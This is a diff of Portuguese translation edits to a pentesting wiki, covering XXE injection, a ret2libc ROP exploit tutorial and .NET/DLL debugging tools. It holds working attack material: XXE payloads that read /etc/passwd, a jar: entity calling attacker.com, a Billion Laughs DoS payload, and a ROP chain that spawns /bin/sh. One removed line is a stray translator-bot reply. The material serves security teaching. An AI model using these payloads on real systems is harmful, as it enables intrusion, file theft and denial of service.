-_**Por favor, note que DTD externo nos permite incluir uma entidade dentro da segunda (\*\***`eval`\***\*), mas isso é proibido no DTD interno. Portanto, você não pode forçar um erro sem usar um DTD externo (geralmente).**_
+_**Por favor, note que DTD externo nos permite incluir uma entidade dentro do segundo `eval`), mas isso é proibido no DTD interno. Portanto, você não pode forçar um erro sem usar um DTD externo (geralmente).**_
 
 ### **Baseado em Erro (system DTD)**
 
-E quanto às vulnerabilidades XXE cegas quando **interações fora de banda estão bloqueadas** (conexões externas não estão disponíveis)?
+E quanto às vulnerabilidades XXE cegas quando **interações fora da banda estão bloqueadas** (conexões externas não estão disponíveis)?
 
-Uma brecha na especificação da linguagem XML pode **expor dados sensíveis através de mensagens de erro quando o DTD de um documento mistura declarações internas e externas**. Este problema permite a redefinição interna de entidades declaradas externamente, facilitando a execução de ataques XXE baseados em erro. Esses ataques exploram a redefinição de uma entidade de parâmetro XML, originalmente declarada em um DTD externo, a partir de um DTD interno. Quando conexões fora de banda são bloqueadas pelo servidor, os atacantes devem confiar em arquivos DTD locais para conduzir o ataque, visando induzir um erro de análise para revelar informações sensíveis.
+Uma brecha na especificação da linguagem XML pode **expor dados sensíveis através de mensagens de erro quando o DTD de um documento mistura declarações internas e externas**. Este problema permite a redefinição interna de entidades declaradas externamente, facilitando a execução de ataques XXE baseados em erro. Esses ataques exploram a redefinição de uma entidade de parâmetro XML, originalmente declarada em um DTD externo, a partir de um DTD interno. Quando conexões fora da banda são bloqueadas pelo servidor, os atacantes devem confiar em arquivos DTD locais para conduzir o ataque, visando induzir um erro de análise para revelar informações sensíveis.
 
 Considere um cenário onde o sistema de arquivos do servidor contém um arquivo DTD em `/usr/local/app/schema.dtd`, definindo uma entidade chamada `custom_entity`. Um atacante pode induzir um erro de análise XML revelando o conteúdo do arquivo `/etc/passwd` ao submeter um DTD híbrido da seguinte forma:
 ```xml
@@ -199,7 +199,7 @@ Para mais informações, consulte [https://portswigger.net/web-security/xxe/blin
 
 ### Encontrando DTDs dentro do sistema
 
-No seguinte incrível repositório do github, você pode encontrar **caminhos de DTDs que podem estar presentes no sistema**:
+No seguinte repositório incrível do github, você pode encontrar **caminhos de DTDs que podem estar presentes no sistema**:
 
 {{#ref}}
 https://github.com/GoSecure/dtd-finder/tree/master/list
@@ -219,7 +219,7 @@ Testing 0 entities : []
 ```
 ### XXE via Office Open XML Parsers
 
-Para uma explicação mais detalhada deste ataque, **verifique a segunda seção de** [**este post incrível**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **da Detectify**.
+Para uma explicação mais detalhada sobre este ataque, **verifique a segunda seção de** [**este post incrível**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **da Detectify**.
 
 A capacidade de **fazer upload de documentos do Microsoft Office é oferecida por muitas aplicações web**, que então procedem a extrair certos detalhes desses documentos. Por exemplo, uma aplicação web pode permitir que os usuários importem dados fazendo upload de uma planilha no formato XLSX. Para que o parser extraia os dados da planilha, ele inevitavelmente precisará analisar pelo menos um arquivo XML.
 
@@ -229,13 +229,13 @@ Uma vez que o documento tenha sido descompactado, o arquivo XML localizado em `.
 
 As linhas XML modificadas devem ser inseridas entre os dois objetos XML raiz. É importante substituir a URL por uma URL monitorável para solicitações.
 
-Finalmente, o arquivo pode ser compactado para criar o arquivo malicioso poc.docx. A partir do diretório "unzipped" previamente criado, o seguinte comando deve ser executado:
+Finalmente, o arquivo pode ser compactado para criar o arquivo malicioso poc.docx. A partir do diretório "unzipped" criado anteriormente, o seguinte comando deve ser executado:
 
 Agora, o arquivo criado pode ser enviado para a aplicação web potencialmente vulnerável, e pode-se esperar que uma solicitação apareça nos logs do Burp Collaborator.
 
 ### Jar: protocol
 
-O **jar** protocol é acessível exclusivamente dentro de **aplicações Java**. Ele é projetado para permitir o acesso a arquivos dentro de um **PKZIP** archive (por exemplo, `.zip`, `.jar`, etc.), atendendo tanto a arquivos locais quanto remotos.
+O **jar** protocolo é acessível exclusivamente dentro de **aplicações Java**. Ele é projetado para permitir o acesso a arquivos dentro de um **PKZIP** archive (por exemplo, `.zip`, `.jar`, etc.), atendendo tanto a arquivos locais quanto remotos.
 ```
 jar:file:///var/myarchive.zip!/file.txt
 jar:https://download.host.com/myarchive.zip!/file.txt
@@ -245,19 +245,19 @@ jar:https://download.host.com/myarchive.zip!/file.txt
 
 O processo para acessar um arquivo dentro de um arquivo PKZIP via o protocolo jar envolve várias etapas:
 
-1. Um pedido HTTP é feito para baixar o arquivo zip de um local especificado, como `https://download.website.com/archive.zip`.
+1. Uma solicitação HTTP é feita para baixar o arquivo zip de um local especificado, como `https://download.website.com/archive.zip`.
 2. A resposta HTTP contendo o arquivo é armazenada temporariamente no sistema, tipicamente em um local como `/tmp/...`.
 3. O arquivo é então extraído para acessar seu conteúdo.
 4. O arquivo específico dentro do arquivo, `file.zip`, é lido.
-5. Após a operação, quaisquer arquivos temporários criados durante esse processo são deletados.
+5. Após a operação, quaisquer arquivos temporários criados durante esse processo são excluídos.
 
-Uma técnica interessante para interromper esse processo na segunda etapa envolve manter a conexão do servidor aberta indefinidamente ao servir o arquivo do arquivo. Ferramentas disponíveis em [este repositório](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) podem ser utilizadas para esse propósito, incluindo um servidor Python (`slow_http_server.py`) e um servidor Java (`slowserver.jar`).
+Uma técnica interessante para interromper esse processo na segunda etapa envolve manter a conexão do servidor aberta indefinidamente ao servir o arquivo do arquivo. Ferramentas disponíveis neste [repositório](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) podem ser utilizadas para esse propósito, incluindo um servidor Python (`slow_http_server.py`) e um servidor Java (`slowserver.jar`).
 ```xml
 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
 <foo>&xxe;</foo>
 ```
 > [!CAUTION]
-> Escrever arquivos em um diretório temporário pode ajudar a **escalar outra vulnerabilidade que envolve uma travessia de caminho** (como inclusão de arquivo local, injeção de template, RCE XSLT, desserialização, etc).
+> Escrever arquivos em um diretório temporário pode ajudar a **escalar outra vulnerabilidade que envolve uma travessia de caminho** (como inclusão de arquivo local, injeção de template, XSLT RCE, desserialização, etc).
 
 ### XSS
 ```xml
@@ -265,7 +265,7 @@ Uma técnica interessante para interromper esse processo na segunda etapa envolv
 ```
 ### DoS
 
-#### Ataque dos Bilhões de Risadas
+#### Ataque do Bilhão de Risadas
 ```xml
 <!DOCTYPE data [
 <!ENTITY a0 "dos" >
@@ -368,7 +368,7 @@ Content-Length: 52
 ```
 ### Content-Type: De JSON para XEE
 
-Para alterar a solicitação, você pode usar uma extensão do Burp chamada “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
+Para alterar a solicitação, você pode usar uma extensão do Burp chamada “**Content Type Converter**“. [Aqui](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) você pode encontrar este exemplo:
 ```xml
 Content-Type: application/json;charset=UTF-8
 
@@ -408,7 +408,7 @@ Isso só funciona se o servidor XML aceitar o protocolo `data://`.
 
 ### UTF-7
 
-Você pode usar a \[**"Receita de Codificação" do cyberchef aqui ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)para]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para)) transformar para UTF-7.
+Você pode usar a \[**"Receita de Codificação"** do cyberchef aqui ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)para]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para)) transformar para UTF-7.
 ```xml
 <!xml version="1.0" encoding="UTF-7"?-->
 +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@@ -514,7 +514,7 @@ Content-Type: application/x-xliff+xml
 <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
 ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
 ```
-Essa abordagem revela que o User Agent indica o uso do Java 1.8. Uma limitação observada com esta versão do Java é a incapacidade de recuperar arquivos contendo um caractere de nova linha, como /etc/passwd, usando a técnica Out of Band.
+Essa abordagem revela que o User Agent indica o uso do Java 1.8. Uma limitação observada com esta versão do Java é a incapacidade de recuperar arquivos que contenham um caractere de nova linha, como /etc/passwd, usando a técnica Out of Band.
 
 Exfiltração de Dados Baseada em Erro Para superar essa limitação, uma abordagem Baseada em Erro é empregada. O arquivo DTD é estruturado da seguinte forma para acionar um erro que inclui dados de um arquivo alvo:
 ```xml
@@ -671,17 +671,21 @@ XMLDecoder é uma classe Java que cria objetos com base em uma mensagem XML. Se
 </void>
 </java>
 ```
-## Ferramentas
+## XXE + WrapWrap + Lightyear + bypasses
+
+Dê uma olhada neste relatório incrível [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
+
+## Tools
 
 {{#ref}}
 https://github.com/luisfontes19/xxexploiter
 {{#endref}}
 
-## Referências
+## References
 
 - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
 - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
-- Extrair informações via HTTP usando seu próprio DTD externo: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
+- Extraia informações via HTTP usando seu próprio DTD externo: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
 - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
 - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md

@@ -58,7 +58,7 @@ r.sendline(payload)
 #cyclic_find(0x6161616b) # Find the offset of those bytes
 return
 ```
-**Execute** `python template.py` um console GDB será aberto com o programa sendo travado. Dentro desse **console GDB** execute `x/wx $rsp` para obter os **bytes** que estavam prestes a sobrescrever o RIP. Finalmente, obtenha o **offset** usando um console **python**:
+**Execute** `python template.py` um console GDB será aberto com o programa sendo encerrado. Dentro desse **console GDB** execute `x/wx $rsp` para obter os **bytes** que estavam prestes a sobrescrever o RIP. Finalmente, obtenha o **offset** usando um console **python**:
 ```python
 from pwn import *
 cyclic_find(0x6161616b)
@@ -68,11 +68,11 @@ cyclic_find(0x6161616b)
 Após encontrar o offset (neste caso 40), altere a variável OFFSET dentro do template usando esse valor.\
 `OFFSET = "A" * 40`
 
-Outra maneira seria usar: `pattern create 1000` -- _execute até ret_ -- `pattern seach $rsp` do GEF.
+Outra maneira seria usar: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` do GEF.
 
 ## 2- Encontrando Gadgets
 
-Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar `puts` para encontrar a **libc** sendo usada, e depois para **lançar o exploit final**.
+Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar `puts` para encontrar a **libc** sendo usada e, posteriormente, para **lançar o exploit final**.
 ```python
 PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
 MAIN_PLT = elf.symbols['main']
@@ -84,7 +84,7 @@ log.info("Puts plt: " + hex(PUTS_PLT))
 log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
 ```
 O `PUTS_PLT` é necessário para chamar a **função puts**.\
-O `MAIN_PLT` é necessário para chamar a **função main** novamente após uma interação para **explorar** o overflow **novamente** (rodadas infinitas de exploração). **É usado no final de cada ROP para chamar o programa novamente**.\
+O `MAIN_PLT` é necessário para chamar a **função main** novamente após uma interação para **explorar** o overflow **novamente** (ciclos infinitos de exploração). **É usado no final de cada ROP para chamar o programa novamente**.\
 O **POP_RDI** é necessário para **passar** um **parâmetro** para a função chamada.
 
 Nesta etapa, você não precisa executar nada, pois tudo será encontrado pelo pwntools durante a execução.
@@ -125,7 +125,7 @@ Para fazer isso, a linha mais importante do código executado é:
 rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
 ```
 Isso enviará alguns bytes até que **sobrescrever** o **RIP** seja possível: `OFFSET`.\
-Em seguida, ele definirá o **endereço** do gadget `POP_RDI` para que o próximo endereço (`FUNC_GOT`) seja salvo no registro **RDI**. Isso ocorre porque queremos **chamar puts** **passando** o **endereço** do `PUTS_GOT`, pois o endereço na memória da função puts é salvo no endereço apontado por `PUTS_GOT`.\
+Em seguida, ele definirá o **endereço** do gadget `POP_RDI` para que o próximo endereço (`FUNC_GOT`) seja salvo no registro **RDI**. Isso ocorre porque queremos **chamar puts** **passando** o **endereço** do `PUTS_GOT` como o endereço na memória da função puts é salvo no endereço apontado por `PUTS_GOT`.\
 Depois disso, `PUTS_PLT` será chamado (com `PUTS_GOT` dentro do **RDI**) para que puts **leia o conteúdo** dentro de `PUTS_GOT` (**o endereço da função puts na memória**) e **imprima**.\
 Finalmente, **a função main é chamada novamente** para que possamos explorar o overflow novamente.
 
@@ -163,7 +163,7 @@ Podemos descobrir qual **libc** provavelmente está sendo usada.
 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
 archive-glibc (id libc6_2.23-0ubuntu11_amd64)
 ```
-Obtemos 2 correspondências (você deve tentar a segunda se a primeira não estiver funcionando). Baixe a primeira:
+Obtemos 2 correspondências (você deve tentar a segunda se a primeira não funcionar). Baixe a primeira:
 ```bash
 ./download libc6_2.23-0ubuntu10_amd64
 Getting libc6_2.23-0ubuntu10_amd64
@@ -172,7 +172,7 @@ Getting libc6_2.23-0ubuntu10_amd64
 -> Extracting package
 -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
 ```
-Copie a libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` para o nosso diretório de trabalho.
+Copie a libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` para nosso diretório de trabalho.
 
 ### 3.3- Outras funções para vazar
 ```python
@@ -184,7 +184,7 @@ gets
 ```
 ## 4- Encontrando o endereço da libc baseado e explorando
 
-Neste ponto, devemos saber qual a biblioteca libc utilizada. Como estamos explorando um binário local, usarei apenas: `/lib/x86_64-linux-gnu/libc.so.6`
+Neste ponto, devemos saber qual a biblioteca libc utilizada. Como estamos explorando um binário local, vou usar apenas: `/lib/x86_64-linux-gnu/libc.so.6`
 
 Então, no início de `template.py`, mude a variável **libc** para: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Defina o caminho da biblioteca quando souber`
 
@@ -222,14 +222,14 @@ Vamos explicar este ROP final.\
 O último ROP (`rop1`) terminou chamando novamente a função main, então podemos **explorar novamente** o **overflow** (é por isso que o `OFFSET` está aqui novamente). Então, queremos chamar `POP_RDI` apontando para o **endereço** de _"/bin/sh"_ (`BINSH`) e chamar a função **system** (`SYSTEM`) porque o endereço de _"/bin/sh"_ será passado como um parâmetro.\
 Finalmente, o **endereço da função exit** é **chamado** para que o processo **saia de forma adequada** e nenhum alerta seja gerado.
 
-**Dessa forma, o exploit executará um \_/bin/sh**\_\*\* shell.\*\*
+**Dessa forma, o exploit executará um shell _/bin/sh**_.
 
 ![](<../../../../../images/image (143).png>)
 
 ## 4(2)- Usando ONE_GADGET
 
-Você também pode usar [**ONE_GADGET** ](https://github.com/david942j/one_gadget) para obter um shell em vez de usar **system** e **"/bin/sh". ONE_GADGET** encontrará dentro da biblioteca libc alguma forma de obter um shell usando apenas um **endereço ROP**.\
-No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, você só precisa enviar alguns valores NULL a mais para que a restrição seja evitada.
+Você também pode usar [**ONE_GADGET** ](https://github.com/david942j/one_gadget) para obter um shell em vez de usar **system** e **"/bin/sh". ONE_GADGET** encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um **endereço ROP**.\
+No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada.
 
 ![](<../../../../../images/image (615).png>)
 ```python

src/reversing/reversing-tools-basic-methods/README.md

@@ -27,27 +27,27 @@ Software:
 
 dotPeek é um descompilador que **descompila e examina múltiplos formatos**, incluindo **bibliotecas** (.dll), **arquivos de metadados do Windows** (.winmd) e **executáveis** (.exe). Uma vez descompilado, um assembly pode ser salvo como um projeto do Visual Studio (.csproj).
 
-O mérito aqui é que se um código fonte perdido requer restauração a partir de um assembly legado, essa ação pode economizar tempo. Além disso, dotPeek fornece navegação prática por todo o código descompilado, tornando-o uma das ferramentas perfeitas para **análise de algoritmos Xamarin.**
+O mérito aqui é que se um código fonte perdido requer restauração de um assembly legado, essa ação pode economizar tempo. Além disso, dotPeek fornece navegação prática por todo o código descompilado, tornando-o uma das ferramentas perfeitas para **análise de algoritmos Xamarin.**
 
 ### [.NET Reflector](https://www.red-gate.com/products/reflector/)
 
-Com um modelo de add-in abrangente e uma API que estende a ferramenta para atender às suas necessidades exatas, .NET Reflector economiza tempo e simplifica o desenvolvimento. Vamos dar uma olhada na infinidade de serviços de engenharia reversa que esta ferramenta fornece:
+Com um modelo de add-in abrangente e uma API que estende a ferramenta para atender às suas necessidades exatas, o .NET Reflector economiza tempo e simplifica o desenvolvimento. Vamos dar uma olhada na infinidade de serviços de engenharia reversa que esta ferramenta fornece:
 
 - Fornece uma visão de como os dados fluem através de uma biblioteca ou componente
 - Fornece insights sobre a implementação e uso de linguagens e frameworks .NET
-- Encontra funcionalidades não documentadas e não expostas para obter mais das APIs e tecnologias utilizadas.
+- Encontra funcionalidades não documentadas e não expostas para obter mais dos APIs e tecnologias utilizadas.
 - Encontra dependências e diferentes assemblies
-- Localiza exatamente onde estão os erros no seu código, componentes de terceiros e bibliotecas.
+- Localiza exatamente a origem de erros no seu código, componentes de terceiros e bibliotecas.
 - Depura a origem de todo o código .NET com o qual você trabalha.
 
 ### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
 
-[Plugin ILSpy para Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Você pode tê-lo em qualquer SO (você pode instalá-lo diretamente do VSCode, não é necessário baixar o git. Clique em **Extensões** e **pesquise ILSpy**).\
+[Plugin ILSpy para Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Você pode tê-lo em qualquer sistema operacional (pode instalá-lo diretamente do VSCode, sem necessidade de baixar o git. Clique em **Extensões** e **pesquise ILSpy**).\
 Se você precisar **descompilar**, **modificar** e **recompilar** novamente, pode usar [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) ou um fork ativamente mantido dele, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clique com o botão direito -> Modificar Método** para alterar algo dentro de uma função).
 
 ### Registro do DNSpy
 
-Para fazer com que **DNSpy registre algumas informações em um arquivo**, você pode usar este trecho:
+Para fazer o **DNSpy registrar algumas informações em um arquivo**, você pode usar este trecho:
 ```cs
 using System.IO;
 path = "C:\\inetpub\\temp\\MyTest2.txt";
@@ -63,7 +63,7 @@ Primeiro, alterar os **atributos de Assembly** relacionados à **depuração**:
 ```aspnet
 [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
 ```
-I'm sorry, but it seems like your message is incomplete. Could you please provide the text you would like me to translate?
+Para:
 ```
 [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
 DebuggableAttribute.DebuggingModes.DisableOptimizations |
@@ -78,31 +78,31 @@ Em seguida, salve o novo arquivo via _**File >> Save module...**_:
 
 ![](<../../images/image (602).png>)
 
-Isso é necessário porque se você não fizer isso, em **runtime** várias **optimisations** serão aplicadas ao código e pode ser possível que enquanto depurando um **break-point nunca seja atingido** ou algumas **variables não existam**.
+Isso é necessário porque, se você não fizer isso, durante o **runtime** várias **optimisations** serão aplicadas ao código e pode ser possível que, ao depurar, um **break-point nunca seja atingido** ou algumas **variables não existam**.
 
 Então, se sua aplicação .NET estiver sendo **run** pelo **IIS**, você pode **restart** ela com:
 ```
 iisreset /noforce
 ```
-Então, para começar a depuração, você deve fechar todos os arquivos abertos e, dentro da **Aba de Depuração**, selecionar **Anexar ao Processo...**:
+Então, para começar a depuração, você deve fechar todos os arquivos abertos e, dentro da **Debug Tab**, selecionar **Attach to Process...**:
 
 ![](<../../images/image (318).png>)
 
-Em seguida, selecione **w3wp.exe** para anexar ao **servidor IIS** e clique em **anexar**:
+Em seguida, selecione **w3wp.exe** para se conectar ao **IIS server** e clique em **attach**:
 
 ![](<../../images/image (113).png>)
 
-Agora que estamos depurando o processo, é hora de pará-lo e carregar todos os módulos. Primeiro, clique em _Depurar >> Parar Tudo_ e depois clique em _**Depurar >> Janelas >> Módulos**_:
+Agora que estamos depurando o processo, é hora de pará-lo e carregar todos os módulos. Primeiro, clique em _Debug >> Break All_ e depois clique em _**Debug >> Windows >> Modules**_:
 
 ![](<../../images/image (132).png>)
 
 ![](<../../images/image (834).png>)
 
-Clique em qualquer módulo em **Módulos** e selecione **Abrir Todos os Módulos**:
+Clique em qualquer módulo em **Modules** e selecione **Open All Modules**:
 
 ![](<../../images/image (922).png>)
 
-Clique com o botão direito em qualquer módulo no **Explorador de Assemblies** e clique em **Classificar Assemblies**:
+Clique com o botão direito em qualquer módulo no **Assembly Explorer** e clique em **Sort Assemblies**:
 
 ![](<../../images/image (339).png>)
 
@@ -117,7 +117,7 @@ Clique com o botão direito em qualquer módulo no **Explorador de Assemblies**
 
 - **Carregar rundll32** (64 bits em C:\Windows\System32\rundll32.exe e 32 bits em C:\Windows\SysWOW64\rundll32.exe)
 - Selecionar o depurador **Windbg**
-- Selecionar "**Suspender ao carregar/descarregar biblioteca**"
+- Selecionar "**Suspend on library load/unload**"
 
 ![](<../../images/image (868).png>)
 
@@ -125,16 +125,16 @@ Clique com o botão direito em qualquer módulo no **Explorador de Assemblies**
 
 ![](<../../images/image (704).png>)
 
-Então, quando você começar a depurar, **a execução será interrompida quando cada DLL for carregada**, então, quando o rundll32 carregar sua DLL, a execução será interrompida.
+Então, quando você começar a depurar, **a execução será interrompida quando cada DLL for carregada**, e quando o rundll32 carregar sua DLL, a execução será interrompida.
 
 Mas, como você pode chegar ao código da DLL que foi carregada? Usando este método, eu não sei como.
 
 ### Usando x64dbg/x32dbg
 
 - **Carregar rundll32** (64 bits em C:\Windows\System32\rundll32.exe e 32 bits em C:\Windows\SysWOW64\rundll32.exe)
-- **Alterar a Linha de Comando** (_Arquivo --> Alterar Linha de Comando_) e definir o caminho da dll e a função que você deseja chamar, por exemplo: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
-- Alterar _Opções --> Configurações_ e selecionar "**Entrada da DLL**".
-- Então **inicie a execução**, o depurador irá parar em cada main da dll, em algum momento você irá **parar na entrada da dll da sua dll**. A partir daí, basta procurar os pontos onde você deseja colocar um ponto de interrupção.
+- **Mudar a Linha de Comando** (_File --> Change Command Line_) e definir o caminho da dll e a função que você deseja chamar, por exemplo: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
+- Mudar _Options --> Settings_ e selecionar "**DLL Entry**".
+- Então **iniciar a execução**, o depurador irá parar em cada main da dll, em algum momento você irá **parar na entrada da dll da sua dll**. A partir daí, basta procurar os pontos onde você deseja colocar um breakpoint.
 
 Observe que quando a execução é interrompida por qualquer motivo no win64dbg, você pode ver **em qual código você está** olhando no **topo da janela do win64dbg**:
 
@@ -165,7 +165,7 @@ https://github.com/nongiach/arm_now
 ### Depurando um shellcode com blobrunner
 
 [**Blobrunner**](https://github.com/OALabs/BlobRunner) irá **alocar** o **shellcode** dentro de um espaço de memória, irá **indicar** o **endereço de memória** onde o shellcode foi alocado e irá **parar** a execução.\
-Então, você precisa **anexar um depurador** (Ida ou x64dbg) ao processo e colocar um **ponto de interrupção no endereço de memória indicado** e **retomar** a execução. Dessa forma, você estará depurando o shellcode.
+Então, você precisa **anexar um depurador** (Ida ou x64dbg) ao processo e colocar um **breakpoint no endereço de memória indicado** e **retomar** a execução. Dessa forma, você estará depurando o shellcode.
 
 A página de lançamentos do github contém zips com os lançamentos compilados: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
 Você pode encontrar uma versão ligeiramente modificada do Blobrunner no seguinte link. Para compilá-lo, basta **criar um projeto C/C++ no Visual Studio Code, copiar e colar o código e compilar**.
@@ -196,7 +196,7 @@ Para iniciar a emulação no lugar que você deseja, defina um bp lá e aparente
 
 ![](<../../images/image (387).png>)
 
-Você pode ver a pilha, por exemplo, dentro de um despejo hexadecimal:
+Você pode ver a pilha, por exemplo, dentro de um dump hex:
 
 ![](<../../images/image (186).png>)
 
@@ -212,11 +212,11 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
 scdbg.exe -f shellcode /findsc #Find offset where starts
 scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
 ```
-scDbg também conta com um lançador gráfico onde você pode selecionar as opções que deseja e executar o shellcode
+scDbg também conta com um lançador gráfico onde você pode selecionar as opções que deseja e executar o shellcode.
 
 ![](<../../images/image (258).png>)
 
-A opção **Create Dump** irá despejar o shellcode final se alguma alteração for feita no shellcode dinamicamente na memória (útil para baixar o shellcode decodificado). O **start offset** pode ser útil para iniciar o shellcode em um deslocamento específico. A opção **Debug Shell** é útil para depurar o shellcode usando o terminal scDbg (no entanto, eu acho que qualquer uma das opções explicadas antes é melhor para isso, pois você poderá usar o Ida ou x64dbg).
